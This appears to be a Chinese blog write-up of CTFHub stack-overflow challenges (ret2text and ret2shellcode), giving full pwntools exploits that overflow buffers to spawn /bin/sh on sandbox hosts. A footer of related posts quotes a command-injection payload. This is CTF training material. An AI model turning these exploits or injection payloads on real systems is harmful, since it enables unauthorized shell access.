CTFHub[PWN技能树]——栈溢出
一、ret2text
- 例行检查,64位程序,没有开启任何保护

- 本地运行一下情况,看看大概的情况

- 64位ida载入,检索程序里的字符串发现了bin/sh

要满足条件才可以执行,但是我们可以直接跳转到0x4007B8去system(‘/bin/sh’)

- 看main函数

第8行,gets函数读入没有限制数据的长度,明显的溢出,溢出ret到执行system(‘/bin/sh’)的地址即可
from pwn import *
#p=process('./pwn1')
p=remote("challenge-79d4d6a23952a67b.sandbox.ctfhub.com",24293)
payload='a'*(0x70+8)+p64(0x4007b8)
p.sendline(payload)
p.interactive()

二、ret2shellcode
- 例行检查,64位程序,仍然未开启任何保护

- 本地运行一下,看看大概的情况,可以看到,给了我们一个栈上的地址

- 64位ida载入,看main函数

一开始给了我们参数buf在栈上的地址,然后读入buf,12行,buf只有0x10,但是读入了0x400,明显的溢出漏洞 - 这题没有给我们提供现成的后门,加上没有nx保护,可以直接执行shellcode来获取shell
设置一下环境参数,之后直接用pwntools生成shellcode
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
- 有了shellcode,然后就是shellcode写到哪里的问题
本地运行的时候加上上图的代码,可以知道一开始输出了buf参数的地址,接收一下就获得了栈上的地址
buf_addr = p.recvuntil("]")
buf_addr = int(buf_addr[-15:-1], 16)
我们将shellcode写入ret,这样程序在返回的时候就直接去执行我们的shellcode了
所以我们的shellcode的地址是,0x10是buf的大小,第一个0x8是ebp,第二个是ret
shellcode_addr = buf_addr + 0x10+0x8+0x8
- shellcode有了,shellcode的地址也有了,现在只要往这个地址传入shellcode即可完成利用
payload = 'a' * 24 + p64(shellcode_addr) + shellcode
完整exp:
#coding=utf-8
from pwn import *
import re
#context.log_level = "debug"
context.arch = 'amd64'
p=remote("challenge-b841961e5e4c03f8.sandbox.ctfhub.com",37282)
#p=process('./pwn2')
#gdb.attach(p)
buf_addr = p.recvuntil("]")
buf_addr = int(buf_addr[-15:-1], 16)
shellcode_addr = buf_addr + 32
shellcode = asm(shellcraft.sh())
payload = 'a' * 24 + p64(shellcode_addr) + shellcode
p.recv()
p.sendline(payload)
p.interactive()

技能树的题目现在就出了这么多,出了新的继续更新,接下来尝试历年真题
CTFHub[PWN技能树]——栈溢出的更多相关文章
- CTFHub web技能树之RCE初步 命令注入+过滤cat
在一个大佬的突然丢了个题过来,于是去玩了玩rce的两道题 大佬的博客跳转链接在此->>>大佬召唤机 叫 命令注入 一上来就是源码出现,上面有个ping的地方 <?php $re ...
- CTFHub web技能树 RCE
一个简单的ping,还没有过滤,源码也给出来了 ls一下 127.0.0.1 & ls 有一个可疑的php文件,,,但是直接访问和 cat 都出不来... 试了几下反弹shell,没成功... ...
- pwn入门之栈溢出练习
本文原创作者:W1ngs,本文属i春秋原创奖励计划,未经许可禁止转载!前言:最近在入门pwn的栈溢出,做了一下jarvisoj里的一些ctf pwn题,感觉质量都很不错,难度循序渐进,把自己做题的思路 ...
- Linux pwn入门教程(1)——栈溢出基础
作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42241-1-1.html 0×00 函数的进入与返回 要想理解栈溢出,首先必须 ...
- PWN菜鸡入门之栈溢出 (2)—— ret2libc与动态链接库的关系
准备知识引用自https://www.freebuf.com/articles/rookie/182894.html 0×01 利用思路 ret2libc 这种攻击方式主要是针对 动态链接(Dynam ...
- PWN菜鸡入门之栈溢出(1)
栈溢出 一.基本概念: 函数调用栈情况见链接 基本准备: bss段可执行检测: gef➤ b main Breakpoint at . gef➤ r Starting program: /mnt/ ...
- CTF必备技能丨Linux Pwn入门教程——栈溢出基础
这是一套Linux Pwn入门教程系列,作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程. 课程回顾>>Linux ...
- 一步一步pwn路由器之wr940栈溢出漏洞分析与利用
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这个是最近爆出来的漏洞,漏洞编号:CVE-2017-13772 固 ...
- ctfhub技能树—彩蛋
彩蛋题建议大家首先自己动手去找一找 做 好 准 备 后 再 看 下 文 ! 1.首页 使用域名查询工具查询子域名 2.公众号 此题关注ctfhub公众号即可拿到,不过多赘述. 3. ...
随机推荐
- FastAPI 学习之路(六十一)使用mysql数据库替换sqlite数据库
我们首先需要安装对应的连接的依赖 pip install pymysql 然后在配置testDatabase.py from sqlalchemy import create_engine from ...
- [loj3246]Cave Paintings
题中所给的判定条件似乎比较神奇,那么用严谨的话来说就是对于两个格子(x,y)和(x',y'),如果满足:1.$x\le x'$:2.从(x,y)通过x,x+1,--,n行,允许向四个方向走,不允许经过 ...
- Error occurred during initialization of VM Could not reserve enough space fo
通过es的elasticsearch.bat 启动.发现错误:Error occurred during initialization of VM Could not reserve enough s ...
- [IIS]文件夹权限
发布完iis,默认的 Application Pool 没有权限访问文件夹. 可以给项目文件夹添加用户权限. 右键 - "属性" - "安全" - " ...
- 【Microsoft Azure 的1024种玩法】七.Azure云端搭建部署属于自己的维基百科
[简介] MediaWiki是全球最著名的开源wiki程序,运行于PHP+MySQL环境.MediaWiki从2002年2月25日被作为维基百科全书的系统软件,并有大量其他应用实例.MediaWiki ...
- Jenkins系列-权限管理
在实际工作中,存在多个团队都需要Jenkins来实现持续交付,但是又希望不同团队之间进行隔离,每个项目有自己的view, 只能看到自己项目的jenkins job. 但是,jenkins默认的权限管理 ...
- 洛谷 P7078 - [CSP-S2020] 贪吃蛇(贪心)
题面传送门 题意: 有 \(n\) 条蛇,每条蛇有个实力 \(a_i\) 我们称编号为 \(x\) 的蛇比编号为 \(y\) 的蛇强,当且仅当 \(a_x>a_y\) 或 \(a_x=a_y\) ...
- 力扣 - 剑指 Offer 47. 礼物的最大价值
题目 剑指 Offer 47. 礼物的最大价值 思路1 因为是要求最大价值,而且只能移动下方或者右方,因此,每个位置的最大值就是本身的值加上上边 / 左边 中的最大值,然后每次遍历都可以复用上一次的值 ...
- [linux] 常用命令及参数-2
sort 1 sort是把结果输出到标准输出,因此需要输出重定向将结果写入文件 2 sort seq.txt > file.txt 3 sort -u seq.txt 输出去重重复后的行 4 s ...
- C#序号
OnRowCreated="gridViewCorrection_RowCreated" <asp:BoundField HeaderText="序号" ...